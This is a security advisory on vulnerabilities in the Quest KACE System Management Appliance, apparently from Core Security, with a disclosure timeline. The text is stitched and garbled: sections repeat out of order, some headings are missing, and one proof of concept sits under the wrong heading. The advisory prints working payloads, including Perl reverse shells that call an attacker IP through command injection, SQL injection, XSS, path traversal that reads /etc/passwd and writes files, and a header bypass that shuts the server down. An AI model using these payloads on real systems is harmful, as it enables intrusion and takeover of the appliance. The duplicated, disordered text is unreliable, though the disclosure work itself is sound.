port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.3. *PHP Object Injection leading to arbitrary command execution* [CVE-2018-11135] An authenticated user could abuse a deserialization call on the script '/adminui/error_details.php' to inject arbitrary PHP objects. To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue. 7.4. *Privilege escalation via password change in Sudo Server* [CVE-2018-11134] In order to perform actions that requires higher privileges, the application relies on a message queue managed that runs with root privileges and only allows a set of commands. One of the available commands allows to change any user's password (including root). Assuming we are able to run commands in the server, we could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges. 7.5. *Privilege escalation via command injection in Sudo Server* [CVE-2018-11132] As mentioned in the issue [7.4], in order to perform actions that require higher privileges, the application relies on a message queue that runs daemonized with root privileges and only allows a set of commands to be executed. A command injection vulnerability exists within this message queue which allows us to append arbitrary commands that will be run as root. 7.6. *Insufficient Authorization for critical function* [CVE-2018-11142] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers. The following proof of concept abuses this vulnerability to shutdown the server as an anonymous user: /----- POST /systemui/settings_network.php HTTP/1.1 Host: localhost X-Forwarded-For: ::1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIp]/systemui/settings_network.php Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129 Content-Length: 3418 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="CSRF_TOKEN" -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="$shutdown" DoIt! Content-Disposition: form-data; name="save" Save -----------------------------5642543667001619951434940129-- -----/ 7.7. In particular, a blind time based type. The following proof of concept induces a time delay: /----- http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 AND SLEEP(10)%23;&version=8.0.152 -----/ 7.8. In particular, an error based type. The following proof of concept retrieves the current database name: /----- POST /common/run_report.php HTTP/1.1 Content-Length: 161 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: [ServerIP] Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID= Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Cookie: [Cookie] date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf -----/ /----- HTTP/1.1 200 OK Date: Thu, 08 Feb 2018 21:50:21 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: [ServerIP] X-KACE-Version: 8.0.318 X-KBOX-WebServer: [ServerIP] X-KBOX-Version: 8.0.318 X-KACE-WebServer: [ServerIP] X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Content-Length: 3548 Connection: close Content-Type: text/html; charset=utf-8 [...SNIPPED...] <script type="text/javascript" src="/common/js/vendor/html5.js?BUILD=318" /></script> <![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta http-equiv='refresh' [...SNIPPED...] -----/ 7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php* [CVE-2018-11133] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting. The following proof of concept demonstrates the vulnerability: /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ 7.10. *Path traversal in download_attachment.php leading to arbitrary file read* [CVE-2018-11137] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script. It is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords. /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ The following proof of concept demonstrates the vulnerability: /----- GET /common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 18 Jan 2018 17:18:19 GMT Server: Apache Cache-Control: must-revalidate, post-check=0, pre-check=0 Expires: -1 Pragma: public Content-Disposition: attachment; filename="" Content-Transfer-Encoding: Binary Content-Description: K1000 attachment Content-Length: 2400 Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: k10000. X-KACE-Version: 8.0.318 X-KBOX-WebServer: k10000. X-KBOX-Version: 8.0.318 X-KACE-WebServer: k10000. X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Connection: close Content-Type: application/octet-stream # $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...] -----/ 7.11. *Path traversal in advisory.php leading to arbitrary file creation/deletion* [CVE-2018-11141] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions. File deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not. The following proof of concept demonstrates the vulnerability: /----- POST /adminui/advisory.php?ID=10 HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIP]/adminui/advisory.php?ID=10 Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100 Content-Length: 1705 Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="CSRF_TOKEN" 99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="IMAGES_JSON" {"/../../../resources/TestWrite":"aaaaaa,VGVzdENvbnRlbnQ="} -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="FARRAY[ID]" [...SNIPPED...] -----/ Taking advantage of 7.2 and 7.4 we are able to verify the file creation: /----- [root@k10000 /kbox/kboxwww/resources]# ls -lha total 32 drwxr-xr-x 2 www wheel 512B Feb 9 20:40 . drwxr-xr-x 23 root wheel 512B Nov 14 18:29 .. -rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite -----/ 8. *Report Timeline* 2018-02-26: Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form. 2018-03-05: Quest Support confirmed the receipt and requested additional information. 2018-03-12: Core Security sent a draft advisory including a technical description. 2018-03-16: Quest Support asked for the CVE-IDs. 2018-03-16: Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication hannel also copying the researchers behind this discovery. 2018-03-16: Quest Support thanked Core's reply and stated it will be in touch during the process. 2018-03-20: Quest Support informed that they had not yet received any updates from the engineering team and had requested one. 2018-03-21: Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information. 2018-03-21: Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories. 2018-03-21: Quest Support acknowledged the information provided. 2018-03-26: Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise uest would take legal action. 2018-04-13: Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's Acknowledgment page (https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). 2018-04-16: Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities. 2018-04-17: Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13). 2018-04-17: Core thanked the answer and stated the willingness of keeping written communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process. 2018-04-18: Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case. 2018-05-31: Advisory CORE-2018-0004 published. 9. *References* [1] https://www.quest.com/products/kace-systems-management-appliance/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber-attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity amp; access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

In order to perform actions that require higher privileges, the Quest KACE System Management Appliance 8.0.318 relies on a message queue that runs daemonized with root privileges and only allows a set of commands to be executed. A command injection vulnerability exists within this message queue which allows low-privilege users to append arbitrary commands that will be run as root. Quest KACE System Management Appliance Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. QuestKACESystemManagementAppliance is an IT asset management device from QuestSoftware, USA. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Quest KACE System Management Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: Quest KACE System Management Appliance Multiple Vulnerabilities Advisory ID: CORE-2018-0004 Advisory URL: http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities Date published: 2018-05-31 Date of last update: 2018-05-22 Vendors contacted: Quest Software Inc. Release mode: Forced release 2. *Vulnerability Information* Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Authorization [CWE-285], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Input During Web Page Generation [CWE-79], External Control of File Name or Path [CWE-73], External Control of File Name or Path [CWE-73] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134, CVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140, CVE-2018-11133, CVE-2018-11137, CVE-2018-11141 3. *Vulnerability Description* >From Quest KACE's website: "The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement." Multiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user. Additional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7. Note: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of "responsible disclosure" can be found at https://support.quest.com/essentials/reporting-security-vulnerability. CoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk. We regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices. 4. *Vulnerable Packages* . Quest KACE System Management Appliance 8.0 (Build 8.0.318) Other products and versions might be affected too, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* Quest reports that it has released the security vulnerability patch SEC2018_20180410 to address the reported vulnerabilities. Patch can be download at https://support.quest.com/download-install-detail/6086148. For more details, Quest published the following Security Note: https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410- 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* Quest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective. Section 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user. Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token. In addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device. Additional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11). 7.1. *Unauthenticated command injection* [CVE-2018-11138] The '/common/download_agent_installer.php' script is accessible to anonymous users in order to download an agent for a specific platform. The script receives the following parameters via the GET method: . platform: Indicates the platform in which the agent is going to be installed . serv: SHA256 hash of a fixed value that depends of each appliance . orgid: Organization ID . version: Version number of the agent The last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'. As stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query. Preparing payload: /----- - platform = windows - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c - orgid = 1#;perl -e 'use Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'; - version = 8.0.152 (last agent version available for windows) -----/ The following proof of concept executes a reverse shell: /----- GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152 HTTP/1.1 Host: Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.2. *Authenticated command injection* [CVE-2018-11139] The '/common/ajax_email_connection_test.php' script used to test the configured SMTP server is accessible by any authenticated user and can be abused to execute arbitrary commands on the system. This script is vulnerable to command injection via the unsanitized user input 'TEST_SERVER' sent to the script via POST method. The following proof of concept executes a reverse shell: /----- POST /common/ajax_email_connection_test.php HTTP/1.1 Host: [ServerIP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 416 Cookie: [Cookie] Connection: close TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.3. *PHP Object Injection leading to arbitrary command execution* [CVE-2018-11135] An authenticated user could abuse a deserialization call on the script '/adminui/error_details.php' to inject arbitrary PHP objects. To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue. 7.4. One of the available commands allows to change any user's password (including root). Assuming we are able to run commands in the server, we could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges. 7.5. 7.6. *Insufficient Authorization for critical function* [CVE-2018-11142] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers. The following proof of concept abuses this vulnerability to shutdown the server as an anonymous user: /----- POST /systemui/settings_network.php HTTP/1.1 Host: localhost X-Forwarded-For: ::1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIp]/systemui/settings_network.php Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129 Content-Length: 3418 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="CSRF_TOKEN" -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="$shutdown" DoIt! Content-Disposition: form-data; name="save" Save -----------------------------5642543667001619951434940129-- -----/ 7.7. *Unauthenticated SQL Injection in download_agent_installer.php* [CVE-2018-11136] The 'orgID' parameter received by the '/common/download_agent_installer.php' script is not sanitized, leading to SQL injection. In particular, a blind time based type. The following proof of concept induces a time delay: /----- http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 AND SLEEP(10)%23;&version=8.0.152 -----/ 7.8. *SQL Injection in run_report.php* [CVE-2018-11140] The 'reportID' parameter received by the '/common/run_report.php' script is not sanitized, leading to SQL injection. In particular, an error based type. The following proof of concept retrieves the current database name: /----- POST /common/run_report.php HTTP/1.1 Content-Length: 161 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: [ServerIP] Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID= Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Cookie: [Cookie] date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf -----/ /----- HTTP/1.1 200 OK Date: Thu, 08 Feb 2018 21:50:21 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: [ServerIP] X-KACE-Version: 8.0.318 X-KBOX-WebServer: [ServerIP] X-KBOX-Version: 8.0.318 X-KACE-WebServer: [ServerIP] X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Content-Length: 3548 Connection: close Content-Type: text/html; charset=utf-8 [...SNIPPED...] <script type="text/javascript" src="/common/js/vendor/html5.js?BUILD=318" /></script> <![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta http-equiv='refresh' [...SNIPPED...] -----/ 7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php* [CVE-2018-11133] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting. The following proof of concept demonstrates the vulnerability: /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ 7.10. *Path traversal in download_attachment.php leading to arbitrary file read* [CVE-2018-11137] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script. It is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords. /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ The following proof of concept demonstrates the vulnerability: /----- GET /common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 18 Jan 2018 17:18:19 GMT Server: Apache Cache-Control: must-revalidate, post-check=0, pre-check=0 Expires: -1 Pragma: public Content-Disposition: attachment; filename="" Content-Transfer-Encoding: Binary Content-Description: K1000 attachment Content-Length: 2400 Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: k10000. X-KACE-Version: 8.0.318 X-KBOX-WebServer: k10000. X-KBOX-Version: 8.0.318 X-KACE-WebServer: k10000. X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Connection: close Content-Type: application/octet-stream # $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...] -----/ 7.11. *Path traversal in advisory.php leading to arbitrary file creation/deletion* [CVE-2018-11141] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions. File deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not. The following proof of concept demonstrates the vulnerability: /----- POST /adminui/advisory.php?ID=10 HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIP]/adminui/advisory.php?ID=10 Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100 Content-Length: 1705 Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="CSRF_TOKEN" 99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="IMAGES_JSON" {"/../../../resources/TestWrite":"aaaaaa,VGVzdENvbnRlbnQ="} -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="FARRAY[ID]" [...SNIPPED...] -----/ Taking advantage of 7.2 and 7.4 we are able to verify the file creation: /----- [root@k10000 /kbox/kboxwww/resources]# ls -lha total 32 drwxr-xr-x 2 www wheel 512B Feb 9 20:40 . drwxr-xr-x 23 root wheel 512B Nov 14 18:29 .. -rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite -----/ 8. *Report Timeline* 2018-02-26: Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form. 2018-03-05: Quest Support confirmed the receipt and requested additional information. 2018-03-12: Core Security sent a draft advisory including a technical description. 2018-03-16: Quest Support asked for the CVE-IDs. 2018-03-16: Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication hannel also copying the researchers behind this discovery. 2018-03-16: Quest Support thanked Core's reply and stated it will be in touch during the process. 2018-03-20: Quest Support informed that they had not yet received any updates from the engineering team and had requested one. 2018-03-21: Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information. 2018-03-21: Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories. 2018-03-21: Quest Support acknowledged the information provided. 2018-03-26: Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise uest would take legal action. 2018-04-13: Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's 